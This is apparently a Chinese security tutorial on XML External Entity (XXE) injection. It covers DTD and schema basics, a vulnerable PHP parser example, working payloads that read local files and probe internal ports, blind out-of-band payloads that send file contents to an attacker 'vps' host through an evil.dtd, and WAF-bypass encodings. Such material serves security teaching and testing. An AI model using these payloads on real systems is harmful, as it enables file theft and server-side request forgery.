0x00前言
Wiki解释为XML External Entity,即XML外部实体注入漏洞。当包含对外部实体的引用d的XML输入被若配置XML解析器处理时,就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描,以及其他系统影响。
0x01 DTD
我们首先看一看一个XXE的payload
<?xml version="1.0" encoding='utf-8'?> # XML声明
<!DOCTYPE root [ #DTD
<!ENTITY % ext SYSTEM "file://etc/passwd"> %ext; #部
]> #分
<foo>&xxe;</foo> # XML部分
什么是DTD?
Document Type Definition 即文档类型定义,可定义合法的XML文件构建模块。它使用一系列的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的DOCTYPE声明
<!DOCTYPE 根元素 [元素声明]>
带有DTD的XML文档实例
<!--XML声明--->
<?xml version="1.0"?>
<!--文档类型声明-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!--文档元素-->
<note>
<to>cs</to>
<from>christa</from>
<heading>head</heading>
<body>Test</body>
</note>
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URL" >
引用公共的DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
0x02XSD-<schema>元素
什么是XML schema?
XML Schema 是基于 XML 的 DTD 替代者。其作用是定义 XML 文档的合法构建模块,类似 DTD。
主要的特点为:
- 定义可出现在文档中的元素
- 定义可出现在文档中的属性
- 定义哪个元素是子元素
- 定义子元素的次序
- 定义子元素的数目
- 定义元素是否为空,或者是否可包含文本
- 定义元素和属性的数据类型
- 定义元素和属性的默认值以及固定值
其定义简单元素的语法是:
<xs:element name="xxx" type="yyy"/>
xxx指的是元素的名称,yyy指元素的数据类型。
常用的类型是:
- xs:string
- xs:decimal
- xs:interger
- xs:boolean
- xs:date
- xs:time
举个栗子,这是一些XML元素:
<lastname>Christa</lastname>
<age>222</age>
<dateborn>2010-03-27</dateborn>
因此相应简单元素定义:
<xs:element name="lastname" type="xs:string"/>
<xs:element name="age" type="xs:integer"/>
<xs:element name="dateborn" type="xs:date"/>
同时与DTD不同的是,XML schema支持数据类型(data type)和命名空间(namespace)
0x03 XXE 漏洞
举一个栗子,有这样一个PHP代码
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
因此我们尝试如下的payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]>
<foo>&xxe;</foo>
或
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY remote SYSTEM "file:///c:/windows/system.ini">
]>
<root>&remote;</root>
则回显的消息为
从而成功读取了文件,同时我们也能够将协议改为php://filter
协议,得到的信息为
使用php://fillter可以解决在多个转移符号的乱码问题,前提是在php的环境之下。
当如果系统不为php,同时多个转译符号的时候,我们可以使用CDATA的方式将内容打印出来,只有CDATA区段中的文本会被解析器忽略。因此我们的payload为:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % foos SYSTEM "file:///c:/test">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<foo>&xxe;</foo>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%foos;%end;">
主机内网端口探测
同时xxe漏洞也可以用到去探测端口信息,例如
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:6379/" [
<!ELEMENT data (#PCDATA)>
]>
<data>5</data>
一个内置DTD方法的文章
无回显读取文件(Blind OOB XXE)
当一些xxe的攻击没有回显的时候,我们可以将会回显的信息发送到我们的主机当中。因此payload为
<!ENTITY % files SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:4666?p=%files;'>">
将该payload放在自己的vps上面,然后向目标主机发送如下信息
<!DOCTYPE foo[
<!ENTITY % remote SYSTEM "http://ip/evil.dtd">
%remote;%int;%send;
]>
<foo>&xxe;</foo>
成功执行
补一下Java OOB的盲XXE的payload,以后参考
<!DOCTYPE a [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://vps:2334/evil.dtd"> %dtd; %all; ]> <x>&send;</x>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:2333/?%file;'>">;
或
<!DOCTYPE a [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://vps/evil.dtd"> %dtd; ]> <x>&send;</x>
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://vps:8888/?%file;'>"> %payload;
0x04 一些绕过的方式
在文档中加入一个额外的符号
可以在<?xml
中或<!DOCTYPE>
中加入一空格,或者使用tag键替代
将DTD链接到外部位置实体
因为WAF在检测的时候不会去检查外部的实体是否容易受到攻击,否为WAF本身也成为了容易受攻击的一种,因此我们可以采用将链接引向到外部位置实体来绕开WAF的检测
其他少见编码
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
有时候需要将header中的Content-Type改为application/xml
Content-Type:application/xml;charset=UTF-8;
Reference